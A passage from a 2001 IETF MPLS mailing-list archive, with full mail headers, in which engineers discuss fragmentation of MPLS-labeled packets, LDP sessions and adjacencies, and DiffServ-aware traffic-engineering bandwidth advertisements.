> >> > (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control
> >fragmentation and
> >> > reassembely of datagrams. But in MPLS header there are no
> >such fields defined.
> >> > So how does reassembly of the fragmented MPLS packets
> >happens at the destination
> >> > host.
> >> >
> >> > Thanks in advance
> >> > Mohit
> >>
> >> ______________________________________________________
> >> 123India.com - India's Premier Portal
> >> Get your Free Email Account at http://www.123india.com
> >



From owner-mpls@UU.NET  Tue May 15 13:41:30 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id NAA03755
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 13:41:29 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdm27817;
	Tue, 15 May 2001 17:38:53 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdm01361
	for mpls-outgoing; Tue, 15 May 2001 17:38:07 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpdm01248
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:37:04 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdm02577
	for <mpls@uu.net>; Tue, 15 May 2001 17:36:34 GMT
Received: from sj-msg-core-2.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkpdm04864
	for <mpls@uu.net>; Tue, 15 May 2001 17:36:34 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4FHaXd12772
	for <mpls@uu.net>; Tue, 15 May 2001 10:36:33 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id NAA15918 for mpls@uu.net; Tue, 15 May 2001 13:36:32 -0400 (EDT)
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkpdm00567
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 17:30:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdm19417
	for <mpls@UU.NET>; Tue, 15 May 2001 17:30:32 GMT
Received: from mailsrv.coronanetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [38.186.47.7])
	id QQkpdm00251
	for <mpls@UU.NET>; Tue, 15 May 2001 17:30:32 GMT
Received: by newmail.coronanetworks.com with Internet Mail Service (5.5.2653.19)
	id <KT8WHKPJ>; Tue, 15 May 2001 10:31:26 -0700
Message-ID: <D55193A1090CD4118171009027DC8CEB3604B6@newmail.coronanetworks.com>
From: Vincent Hamrick <Hamrick@coronanetworks.com>
To: "'Sajith Kizhikkepurayil '" <Sajith_Kizhikkepurayil@pmc-sierra.com>,
        "''Eric Gray' '" <eric.gray@sandburst.com>
Cc: "'mpls@UU.NET '" <mpls@UU.NET>
Subject: RE: Fragmentation and reassembly of MPLS packets
Date: Tue, 15 May 2001 10:31:20 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C0DD64.DADBCD40"
Sender: owner-mpls@UU.NET
Precedence: bulk

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01C0DD64.DADBCD40
Content-Type: text/plain;
	charset="ISO-8859-1"

Greetings,

I've always thought that fragmentation of MPLS was going to be a messy
issue, especially when you must be able to determine that all traffic in
a given LSP is IP.

My question is how does the current MPLS equipment handle fragmentation
of MPLS packets?  rfc3032 says that a switch MAY discard datagrams which
are too large.  It does not say that a switch MUST fragment.

-V


-----Original Message-----
From: Sajith Kizhikkepurayil
To: 'Eric Gray'
Cc: mpls@UU.NET
Sent: 5/15/01 9:07 AM
Subject: RE: Fragmentation and reassembly of MPLS packets

is it not possible to extend LDP(s) to exchange MTU info for an FEC,
so that each ingress LSR know the path MTU of LSPs 
originating from them ? that is each LSP has an MTU associated with it.
any thoughts ?

thanks
sajith

>-----Original Message-----
>From: Eric Gray [mailto:eric.gray@sandburst.com]
>Sent: Tuesday, May 15, 2001 6:30 AM
>To: ytr@123india.com
>Cc: mgoel@hss.hns.com; mpls@UU.NET
>Subject: Re: Fragmentation and reassembly of MPLS packets
>
>
>    Fragmentation of MPLS packets is, in general, a pretty bad idea.
>
>    The main issue is knowing that the first thing after the last label
>is in fact a 'normal' IP packet.  If you cannot predictably determine
>this, then you do not know how valid the fields of the 'IP header'
>are and it could be disastrous to attempt either to 'return' an ICMP
>error message to the 'Source IP Address' (which may be random
>data if the packet has a compressed RTP/UDP/IP header or is
>encrypted) or to fragment the packet.
>
>    One might be able to infer 'reliably' that - if the FEC associated
>with an LSP is an IPv4 FEC, and there is only one label in the label
>stack - the following header is a normal IPv4 header.  This should
>always be the case if the LSP was established using LDP for hop
>by hop routing.  So, if - while forwarding the packet - you can be
>mindful of how the LSP was created and you know that there is
>only one label in the stack, you may be able to do IP fragmentation
>of an MPLS labeled packet.
>
>    Considering that the dominant application for MPLS seems to be
>based on LSP tunneling using explicit routes (as opposed to hop by
>hop routed LSPs), it does not seem likely that scenarios where it
>makes sense to attempt to fragment MPLS packets are likely to be
>the common case.
>
>--
>Eric Gray
>
>YTR wrote:
>
>> Hi Mohit,
>>     If my understanding is correct, its impossible to do 
>fragmentation without IP header.  one has to remove (preserve 
>for later use) MPLS label stack and check IP DF bit in IP 
>header. If its set generate ICMP packets otherwise, fragment 
>IP packet keep the depth of the label stack in mind and 
>reconstruct the fragmented packets with MPLS label stack and 
>forwards those based on the top label. At the egress IP module 
>will reconsruct the IP packet when it gets from MPLS module.
>>
>> If I am wrong pls correct me.
>>
>> Thanks
>> YTR
>>
>> On Tue, 15 May 2001, mgoel@hss.hns.com wrote:
>>
>> >
>> >
>> >
>> > Hi all,
>> >
>> > Section 3 of RFC 3032 discusses the procedure for 
>fragmenting the labeled as
>> > well as unlabeled MPLS packet. In IP there are fields in 
>the datagram header
>> > (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control 
>fragmentation and
>> > reassembely of datagrams. But in MPLS header there are no 
>such fields defined.
>> > So how does reassembly of the fragmented MPLS packets 
>happens at the destination
>> > host.
>> >
>> > Thanks in advance
>> > Mohit
>>
>> ______________________________________________________
>> 123India.com - India's Premier Portal
>> Get your Free Email Account at http://www.123india.com
>

------_=_NextPart_001_01C0DD64.DADBCD40
Content-Type: text/html;
	charset="ISO-8859-1"

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2//EN">
<HTML>
<HEAD>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=ISO-8859-1">
<META NAME="Generator" CONTENT="MS Exchange Server version 5.5.2653.12">
<TITLE>RE: Fragmentation and reassembly of MPLS packets</TITLE>
</HEAD>
<BODY>

<P><FONT SIZE=2>Greetings,</FONT>
</P>

<P><FONT SIZE=2>I've always thought that fragmentation of MPLS was going to be a messy</FONT>
<BR><FONT SIZE=2>issue, especially when you must be able to determine that all traffic in</FONT>
<BR><FONT SIZE=2>a given LSP is IP.</FONT>
</P>

<P><FONT SIZE=2>My question is how does the current MPLS equipment handle fragmentation</FONT>
<BR><FONT SIZE=2>of MPLS packets?&nbsp; rfc3032 says that a switch MAY discard datagrams which</FONT>
<BR><FONT SIZE=2>are too large.&nbsp; It does not say that a switch MUST fragment.</FONT>
</P>

<P><FONT SIZE=2>-V</FONT>
</P>
<BR>

<P><FONT SIZE=2>-----Original Message-----</FONT>
<BR><FONT SIZE=2>From: Sajith Kizhikkepurayil</FONT>
<BR><FONT SIZE=2>To: 'Eric Gray'</FONT>
<BR><FONT SIZE=2>Cc: mpls@UU.NET</FONT>
<BR><FONT SIZE=2>Sent: 5/15/01 9:07 AM</FONT>
<BR><FONT SIZE=2>Subject: RE: Fragmentation and reassembly of MPLS packets</FONT>
</P>

<P><FONT SIZE=2>is it not possible to extend LDP(s) to exchange MTU info for an FEC,</FONT>
<BR><FONT SIZE=2>so that each ingress LSR know the path MTU of LSPs </FONT>
<BR><FONT SIZE=2>originating from them ? that is each LSP has an MTU associated with it.</FONT>
<BR><FONT SIZE=2>any thoughts ?</FONT>
</P>

<P><FONT SIZE=2>thanks</FONT>
<BR><FONT SIZE=2>sajith</FONT>
</P>

<P><FONT SIZE=2>&gt;-----Original Message-----</FONT>
<BR><FONT SIZE=2>&gt;From: Eric Gray [<A HREF="mailto:eric.gray@sandburst.com">mailto:eric.gray@sandburst.com</A>]</FONT>
<BR><FONT SIZE=2>&gt;Sent: Tuesday, May 15, 2001 6:30 AM</FONT>
<BR><FONT SIZE=2>&gt;To: ytr@123india.com</FONT>
<BR><FONT SIZE=2>&gt;Cc: mgoel@hss.hns.com; mpls@UU.NET</FONT>
<BR><FONT SIZE=2>&gt;Subject: Re: Fragmentation and reassembly of MPLS packets</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp;&nbsp;&nbsp; Fragmentation of MPLS packets is, in general, a pretty bad idea.</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp;&nbsp;&nbsp; The main issue is knowing that the first thing after the last label</FONT>
<BR><FONT SIZE=2>&gt;is in fact a 'normal' IP packet.&nbsp; If you cannot predictably determine</FONT>
<BR><FONT SIZE=2>&gt;this, then you do not know how valid the fields of the 'IP header'</FONT>
<BR><FONT SIZE=2>&gt;are and it could be disastrous to attempt either to 'return' an ICMP</FONT>
<BR><FONT SIZE=2>&gt;error message to the 'Source IP Address' (which may be random</FONT>
<BR><FONT SIZE=2>&gt;data if the packet has a compressed RTP/UDP/IP header or is</FONT>
<BR><FONT SIZE=2>&gt;encrypted) or to fragment the packet.</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp;&nbsp;&nbsp; One might be able to infer 'reliably' that - if the FEC associated</FONT>
<BR><FONT SIZE=2>&gt;with an LSP is an IPv4 FEC, and there is only one label in the label</FONT>
<BR><FONT SIZE=2>&gt;stack - the following header is a normal IPv4 header.&nbsp; This should</FONT>
<BR><FONT SIZE=2>&gt;always be the case if the LSP was established using LDP for hop</FONT>
<BR><FONT SIZE=2>&gt;by hop routing.&nbsp; So, if - while forwarding the packet - you can be</FONT>
<BR><FONT SIZE=2>&gt;mindful of how the LSP was created and you know that there is</FONT>
<BR><FONT SIZE=2>&gt;only one label in the stack, you may be able to do IP fragmentation</FONT>
<BR><FONT SIZE=2>&gt;of an MPLS labeled packet.</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;&nbsp;&nbsp;&nbsp; Considering that the dominant application for MPLS seems to be</FONT>
<BR><FONT SIZE=2>&gt;based on LSP tunneling using explicit routes (as opposed to hop by</FONT>
<BR><FONT SIZE=2>&gt;hop routed LSPs), it does not seem likely that scenarios where it</FONT>
<BR><FONT SIZE=2>&gt;makes sense to attempt to fragment MPLS packets are likely to be</FONT>
<BR><FONT SIZE=2>&gt;the common case.</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;--</FONT>
<BR><FONT SIZE=2>&gt;Eric Gray</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;YTR wrote:</FONT>
<BR><FONT SIZE=2>&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; Hi Mohit,</FONT>
<BR><FONT SIZE=2>&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp; If my understanding is correct, its impossible to do </FONT>
<BR><FONT SIZE=2>&gt;fragmentation without IP header.&nbsp; one has to remove (preserve </FONT>
<BR><FONT SIZE=2>&gt;for later use) MPLS label stack and check IP DF bit in IP </FONT>
<BR><FONT SIZE=2>&gt;header. If its set generate ICMP packets otherwise, fragment </FONT>
<BR><FONT SIZE=2>&gt;IP packet keep the depth of the label stack in mind and </FONT>
<BR><FONT SIZE=2>&gt;reconstruct the fragmented packets with MPLS label stack and </FONT>
<BR><FONT SIZE=2>&gt;forwards those based on the top label. At the egress IP module </FONT>
<BR><FONT SIZE=2>&gt;will reconsruct the IP packet when it gets from MPLS module.</FONT>
<BR><FONT SIZE=2>&gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; If I am wrong pls correct me.</FONT>
<BR><FONT SIZE=2>&gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; Thanks</FONT>
<BR><FONT SIZE=2>&gt;&gt; YTR</FONT>
<BR><FONT SIZE=2>&gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; On Tue, 15 May 2001, mgoel@hss.hns.com wrote:</FONT>
<BR><FONT SIZE=2>&gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; Hi all,</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; Section 3 of RFC 3032 discusses the procedure for </FONT>
<BR><FONT SIZE=2>&gt;fragmenting the labeled as</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; well as unlabeled MPLS packet. In IP there are fields in </FONT>
<BR><FONT SIZE=2>&gt;the datagram header</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; (IDENTIFICATION, FLAGS, and FRAGMENT OFFSET) which control </FONT>
<BR><FONT SIZE=2>&gt;fragmentation and</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; reassembely of datagrams. But in MPLS header there are no </FONT>
<BR><FONT SIZE=2>&gt;such fields defined.</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; So how does reassembly of the fragmented MPLS packets </FONT>
<BR><FONT SIZE=2>&gt;happens at the destination</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; host.</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; Thanks in advance</FONT>
<BR><FONT SIZE=2>&gt;&gt; &gt; Mohit</FONT>
<BR><FONT SIZE=2>&gt;&gt;</FONT>
<BR><FONT SIZE=2>&gt;&gt; ______________________________________________________</FONT>
<BR><FONT SIZE=2>&gt;&gt; 123India.com - India's Premier Portal</FONT>
<BR><FONT SIZE=2>&gt;&gt; Get your Free Email Account at <A HREF="http://www.123india.com" TARGET="_blank">http://www.123india.com</A></FONT>
<BR><FONT SIZE=2>&gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0DD64.DADBCD40--



From owner-mpls@UU.NET  Tue May 15 16:41:12 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA06497
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 16:41:11 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdv10843;
	Tue, 15 May 2001 19:55:03 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdv23483
	for mpls-outgoing; Tue, 15 May 2001 19:54:30 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpdv23471
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 19:54:24 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkpdv29549
	for <mpls@uu.net>; Tue, 15 May 2001 19:53:56 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkpdv13436
	for <mpls@uu.net>; Tue, 15 May 2001 19:53:56 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id PAA22860 for mpls@uu.net; Tue, 15 May 2001 15:53:55 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpdv23326
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 19:53:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdv10692
	for <mpls@UU.NET>; Tue, 15 May 2001 19:51:48 GMT
Received: from ganymede.or.intel.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: jffdns01.or.intel.com [134.134.248.3])
	id QQkpdv07394
	for <mpls@UU.NET>; Tue, 15 May 2001 19:51:47 GMT
Received: from SMTP (orsmsxvs02-1.jf.intel.com [192.168.65.201])
	by ganymede.or.intel.com (8.9.1a+p1/8.9.1/d: relay.m4,v 1.38 2001/05/09 12:49:45 root Exp $) with SMTP id TAA12327;
	Tue, 15 May 2001 19:50:38 GMT
Received: from orsmsx28.jf.intel.com ([192.168.70.28]) by 192.168.70.201
  (Norton AntiVirus for Internet Email Gateways 1.0) ;
  Tue, 15 May 2001 19:50:38 0000 (GMT)
Received: by orsmsx28.jf.intel.com with Internet Mail Service (5.5.2653.19)
	id <K9S3GMD3>; Tue, 15 May 2001 12:50:36 -0700
Message-ID: <F1CE15E08172D4119247009027AE9D5009AE29E4@FMSMSX37>
From: "Sharma, Prem" <p_sharma@trillium.com>
To: "'chetan.kumar@wipro.com'" <chetan.kumar@wipro.com>,
        Haseeb Budhani
	 <haseeb@ipinfusion.com>
Cc: mpls@UU.NET
Subject: RE: Multiple adjacencies per session.
Date: Tue, 15 May 2001 11:26:31 -0700
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="ISO-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
  
   To add to Chetan's response - There may or may not be a one to one
mapping between adjacencies and the physical interfaces of the router. The
adjacency is a logical relation.

Prem

-----Original Message-----
From: chetan kumar s [mailto:chetan.kumar@wipro.com]
Sent: Monday, May 14, 2001 8:51 PM
To: Haseeb Budhani
Cc: mpls@UU.NET
Subject: Re: Multiple adjacencies per session.


On Mon, 14 May 2001, Haseeb Budhani wrote:

Hi,
	Please look at the embedded messages..

> I have a follow-up question: Suppose a session has two adjacencies, and
> the session is currently using the TCP connection adjA for LDP-specific
> data flow. If adjA goes down for some reason, should the session be

Not exactly, ideally maintenance of session and adjecencies are two
different tasks. But there exists a relation, "if there are no more
adjecencies, then session can not exist, and converse is not true". So
specific to ur question, when the adjA goes down, U can continue with the
session, there is absolutely no change of any sort. If the adjB also goes
down, then U may have the close the session..

> closed down and restarted using the second adjacency adjB that belongs
> to this session, or should the session do a hot-swap of sorts and just
> start using the second adjacency ?? This could be a a failover
> application for LDP, but I'm not really sure if this is what the RFC is
> talking about.
> 
> I'd appreciate your comments at your convenience.

Thanks
Chetan S

> 
> Thanks. :)
> 
> --
> Haseeb Budhani.
> 
> "Sharma, Prem" wrote:
> 
> > Hi,
> >
> >      -----Original Message-----
> >      From: Haseeb Budhani [mailto:haseeb@ipinfusion.com]
> >      Sent: Monday, May 14, 2001 2:47 PM
> >      To: mpls@UU.NET
> >      Subject: Multiple adjacencies per session.
> >      Hello folks,
> >
> >      I have a few simple questions pertaining to the existence of
> >      multiple adjacencies per session, which RFC3036 says can
> >      only happen for point-to-point links (2.5.5 : Maintianing
> >      Hello Adjacencies)
> >
> >      1. Does one "session" between two peers denote one TCP
> >      connection between the two ??
> >      [Prem Sharma] Yes. There's one TCP connection per session.
> >      Two adjacent routers may have many sessions (many label
> >      spaces, many LDP Ids) and as many no. of TCP connections.
> >
> >      2. If the answer to (1) is Yes, does this mean that for n
> >      adjacencies in a session, only one -- the primary --
> >      adjacency has an active TCP connection, which it uses to
> >      exchange LDP specific information, and the other n-1
> >      adjacencies remain "idle" ?
> >      [Prem Sharma] I would rather put it like this: A session can
> >      have multiple adjacencies under its control. The periodic
> >      flow of  "Hellos" indicate the liveness of the adjacencies.
> >      All the adjacencies under the session have the same LDP
> >      identifier and for a specific LDP identifier, a specific
> >      transport address is exposed to the peer [If the transport
> >      address is not carried in the "Hellos" then the source ip
> >      address of the UDP packet is used to establish TCP
> >      connection]. Peer uses this transport address to establish
> >      TCP connection. Once the TCP connection is established,
> >      periodic keep alives over the TCP connection (in case LDP
> >      messages are not transacted for some time) indicate the
> >      sanity of the TCP connection from the LDP's point of view.
> >      Adjacencies are not idle; periodic "Hellos" keep on flowing
> >      over them (UDP packets). Once the flow of "Hellos" over an
> >      adjacency ceases, the adjacency is assumed inactive. When
> >      the last adjacencies under the session goes down, the
> >      session is assumed to be inactive.
> >
> >      3. If the answer to (1) is No, is there a TCP connection set
> >      up for every adjacency, and is this TCP connection used to
> >      exchange LDP specific data ??
> >      [Prem Sharma] No, pls. see the previous response.
> >
> >      Please get back to me at your earliest convenience
> >      [Prem Sharma]
> >
> >      Hope it helps.
> >
> >      Prem
> >
> >      .
> >
> >      Thank. :)
> >
> >      --
> >      Haseeb Budhani.
> >
> 




From owner-mpls@UU.NET  Tue May 15 17:00:02 2001
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA07001
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 17:00:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpdz04167;
	Tue, 15 May 2001 20:59:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkpdz19137
	for mpls-outgoing; Tue, 15 May 2001 20:58:31 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkpdz19123
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 20:58:11 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpdz29992
	for <mpls@uu.net>; Tue, 15 May 2001 20:57:34 GMT
Received: from gw.tropicnetworks.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: gw.tropicnetworks.com [209.87.233.9])
	id QQkpdz02322
	for <mpls@uu.net>; Tue, 15 May 2001 20:57:34 GMT
Received: from mail.tropicnetworks.com by gw.tropicnetworks.com
          via smtpd (for cmr0.ash.ops.us.uu.net [198.5.241.38]) with SMTP; 15 May 2001 20:57:34 UT
Received: from cr437225a ([10.1.2.190]) by mail.tropicnetworks.com
          (Netscape Messaging Server 3.6)  with SMTP id AAA213D
          for <mpls@uu.net>; Tue, 15 May 2001 16:57:36 -0400
From: "Sudhakar Ganti" <sganti@tropicnetworks.com>
To: <mpls@UU.NET>
Subject: Question on BW advertisements for Diffserv aware TE based on Class Type
Date: Tue, 15 May 2001 16:57:55 -0400
Message-ID: <LPEGKNJLDDNILOPDFLBAAEBJCCAA.sganti@tropicnetworks.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hello,

A couple of questions regarding the BW advertisements
on these drafts:
    draft-ietf-mpls-diff-te-ext-01.txt
    draft-ietf-ospf-diff-te-00.txt

a) The text in both the drafts refers to "the Class-Type N
   bandwidth currently unreserved (i.e. the difference
   between the Maximum Reservable Bandwidth for Class-Type N
   and the bandwidth reserved by existing Class-Type N LSPs)"

However I do not see any separate sub-TLV for Max reservable
bandwidth for each class type (class type N). There is only one 
that advertises the Max Reservable Aggregate Bandwidth.

b) Different classes can be oversubscribed differently
   depending upon the link (or network) configuration.
   If so, I think it may be necessary to advertise the
   Maximum Reservable bandwidth for each Class (Class-Type N).
  
   Is there any reason why this is omitted??

-Sudhakar


From owner-mpls@UU.NET  Tue May 15 17:12:08 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA07283
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 17:12:03 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpea19459;
	Tue, 15 May 2001 21:10:08 GMT
Received: by mail-control.mail.uu.net 
	id QQkpea08485
	for mpls-outgoing; Tue, 15 May 2001 21:09:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkpea08435
	for <mpls@mail-control.mail.uu.net>; Tue, 15 May 2001 21:09:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkpea11003
	for <mpls@uu.net>; Tue, 15 May 2001 21:09:07 GMT
Received: from samar.sasken.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: samar.sasken.com [164.164.56.2])
	id QQkpea16255
	for <mpls@uu.net>; Tue, 15 May 2001 21:09:04 GMT
Received: from samar (localhost [127.0.0.1])
	by samar.sasken.com (8.11.3/8.11.3) with SMTP id f4FL8wb18172
	for <mpls@uu.net>; Wed, 16 May 2001 02:38:58 +0530 (IST)
Received: from localhost (amg@localhost)
	by sund2.sasi.com (8.9.3/8.9.3) with ESMTP id QAA16103
	for <mpls@uu.net>; Tue, 15 May 2001 16:12:34 +0530 (IST)
Date: Tue, 15 May 2001 16:12:34 +0530 (IST)
From: Abhijit M Gadgil <amg@sasken.com>
X-Sender:  <amg@sund2.sasi.com>
To: <mpls@UU.NET>
Subject: Meaning of OA
Message-ID: <Pine.GSO.4.30.0105151611500.16065-100000@sund2.sasi.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk


What exactly does an OA mean in the MPLS-DiffServ Context?

thanx and regards

-abhijit




From owner-mpls@UU.NET  Tue May 15 20:41:54 2001
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA10350
	for <mpls-archive@lists.ietf.org>; Tue, 15 May 2001 20:41:54 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkpeo17870;
	Wed, 16 May 2001 00:39:44 GMT
Received: by mail-control.mail.uu.net 
	id QQkpeo25143
	for mpls-outgoing; Wed, 16 May 2001 00:39:12 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkpeo25138
	for <mpls@mail-control.mail.uu.net>; Wed, 16 May 2001 00:39:08 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkpeo18960
	for <mpls@uu.net>; Wed, 16 May 2001 00:37:55 GMT
Received: from web11701.mail.yahoo.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: web11701.mail.yahoo.com [216.136.172.67])
	id QQkpeo15240
	for <mpls@uu.net>; Wed, 16 May 2001 00:37:54 GMT
Message-ID: <20010516003754.16010.qmail@web11701.mail.yahoo.com>
Received: from [216.103.88.23] by web11701.mail.yahoo.com; Tue, 15 May 2001 17:37:54 PDT
Date: Tue, 15 May 2001 17:37:54 -0700 (PDT)
From: andy ly <andyly@yahoo.com>
Subject: Questions on LSP setup
To: mpls@UU.NET
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk

I'd like to understand in detail how the LSP is setup.
Can anyone tell me where I would find good technical
papers on the net?

Thanks,

Andy


__________________________________________________
Do You Yahoo!?
Yahoo! Auctions - buy the things you want at great prices
http://auctions.yahoo.com/


From owner-mpls@UU.NET  Tue May 15 23:51:03 2001
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
